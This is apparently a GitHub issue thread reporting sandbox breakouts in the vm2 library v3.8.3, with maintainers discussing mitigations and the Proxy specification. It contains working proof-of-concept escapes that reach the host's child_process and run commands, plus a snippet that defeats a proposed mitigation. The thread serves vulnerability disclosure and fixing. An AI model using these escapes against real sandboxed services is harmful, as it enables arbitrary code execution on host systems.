Breakout in v3.8.3

[XmiliaH]

One can break out of the sandbox via:

"use strict";
const {VM} = require('vm2');
const untrusted = '(' + function(){
	TypeError.prototype.get_process = f=>f.constructor("return process")();
	try{
		Object.preventExtensions(Buffer.from("")).a = 1;
	}catch(e){
		return e.get_process(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
	}
}+')()';
try{
	console.log(new VM().run(untrusted));
}catch(x){
	console.log(x);
}

[XmiliaH]

And another more game breaking one:

"use strict";
const {VM} = require('vm2');
const untrusted = '(' + function(){
	try{
		Buffer.from(new Proxy({}, {
			getOwnPropertyDescriptor(){
				throw f=>f.constructor("return process")();
			}
		}));
	}catch(e){
		return e(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
	}
}+')()';
try{
	console.log(new VM().run(untrusted));
}catch(x){
	console.log(x);
}

[jasonfutch]

Very crafty.. taking advantage of the return error

[alexbarnsley]

@patriksimek would you mind taking a look at this, please?

[patriksimek]

@alexbarnsley I'm still scratching my head with this one.

[manuel-di-iorio]

By using in vm options sandbox: { TypeError: null } // Same for Error, etc..
I'm able to block the escaping. @XmiliaH do you know if that is safe until a proper fix is applied ?

[XmiliaH]

@manuel-di-iorio you can recover TypeError via:

try {
  null.f();
} catch (e) {
  TypeError = e.constructor;
}

and Object via:

Object = ({}).constructor;

however, I don't know a way to recover Proxy, so the second breakout can't be performed.
To fix the first breakout (not tested) see #231.

@patriksimek for the fix for the second breakout I would suggest to replace:
const proxy = new host.Proxy(object, host.Object.assign(base, traps, deepTraps));
with
const proxy = new host.Proxy(host.Object.create(null), host.Object.assign(base, traps, deepTraps));
if object is not a function and if it is to use a clean host function. These targets should never be used, since you use closures instead. However, some native functions might freak out if the target of the Proxy is wrong. Other things to think about are Object.preventExtensions and Object.defineProperty.

[patriksimek]

@XmiliaH I was doing some testing with suggested changes, but unfortunately, half of the unit tests break. I'm trying to figure out how it is even possible to break out the sandbox through the getOwnPropertyDescriptor trap. With the step-by-step debugger I was able to confirm the proxy you created is wrapped by the vm2's proxy, but for some reason, the getOwnPropertyDescriptor trap is only called on your proxy, not on the vm2's proxy.

So I was trying to create a minimal code to reproduce the issue and came up with this:

const a = new Proxy({}, {
	getOwnPropertyDescriptor(){
		debugger;
	}
})

const b = new Proxy(a, {
	getOwnPropertyDescriptor(){
		debugger;
	}
})

Object.getOwnPropertyDescriptor(b);

I was expecting the debugger to pause execution in the proxy trap of the variable a, but in this case, debugger correctly paused in both traps. Any ideas what's happening?

[XmiliaH]

@patriksimek v8 behaves like the specs say it has to. Take a look at Proxy.[[Get]] (P, Receiver). There the specs call in step 11 the target.[[GetOwnProperty]](P), which when target is a proxy calls its handler method. This is done to ensure that the proxy handler does the right thing, for non configurable non writeable properties, since it is not allowed to change them, see step 13.